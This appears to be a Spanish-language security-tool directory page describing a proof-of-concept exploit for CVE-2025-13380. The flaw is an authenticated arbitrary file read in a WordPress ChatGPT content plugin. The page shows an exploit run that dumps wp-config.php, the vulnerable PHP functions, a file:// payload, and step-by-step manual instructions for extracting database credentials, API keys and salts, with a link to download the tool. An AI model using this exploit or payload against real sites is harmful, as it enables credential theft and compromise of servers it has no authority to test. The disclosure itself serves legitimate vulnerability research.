Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-13380 — AI Engine para WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Autenticado (Contribuidor+) Lectura Arbitraria de Archivos | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-13380
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubd0n601/cve-2025-13380

CVE-2025-13380

AI Engine para WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Autenticado (Contribuidor+) Lectura Arbitraria de Archivos

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

AI Engine para WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Lectura arbitraria de archivos autenticada (Contribuidor+)

El plugin AI Engine para WordPress contiene una vulnerabilidad en su función de inserción de imágenes que permite que cualquier usuario autenticado con capacidades de edición de entradas (Contribuidor, Autor, Editor, Administrador) descargue archivos arbitrarios del servidor. La vulnerabilidad proviene del endpoint AJAX lqdai_update_post que carece de comprobaciones de capacidades adecuadas y de la función insert_image() que utiliza file_get_contents() con URLs controladas por el usuario sin validación de protocolo, lo que permite descargas de archivos arbitrarias mediante el protocolo file://.

Resumen de los exploits

  • Se proporciona un POC CVE-2025-13380.py para demostrar cómo un usuario de nivel Contribuidor descarga el archivo wp-config.php del sitio.
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Detalles

Función de inserción de archivos

La acción AJAX lqdai_update_post llama a la función update_post() en la línea 315 de /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php, la cual carece de comprobaciones de capacidades adecuadas y permite que cualquier usuario autenticado modifique entradas que pueda editar:

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- VULNERABILIDAD DE DESCARGA ARBITRARIA DE ARCHIVOS
        }
    }
}

Descarga arbitraria de archivos en insert_image()

La función insert_image() en la línea 419 utiliza file_get_contents() con URLs controladas por el usuario sin validación de protocolo, lo que permite descargas de archivos arbitrarias:

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- ESCRIBE 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

Construcción de la ruta y nombre del archivo

La construcción vulnerable de la ruta permite leer archivos locales mediante el protocolo file://:

root@kitploit:~
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Lee /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Escribe el contenido de wp-config.php

Reproducción manual

  1. Inicie sesión en WordPress como Contribuidor (o cualquier usuario con capacidades de edición de entradas).
  2. Cree un borrador de entrada nuevo para obtener un ID de entrada.
  3. Use las herramientas de desarrollador del navegador o una herramienta como Burp Suite para interceptar el tráfico.
  4. Intercepte una solicitud a /wp-admin/admin-ajax.php llamando a la acción lqdai_update_post.
  5. Modifique la solicitud para incluir una URL de protocolo file:// en el parámetro posts[image].
  6. Envíe la solicitud con posts[image]=file:///var/www/html/wp-config.php para leer el archivo de configuración de WordPress.
  7. Acceda al archivo a través de la URL del directorio de uploads: /wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.
  8. Extraiga archivos de configuración sensibles, incluyendo credenciales de base de datos, claves API y salts de seguridad.
Descargar herramienta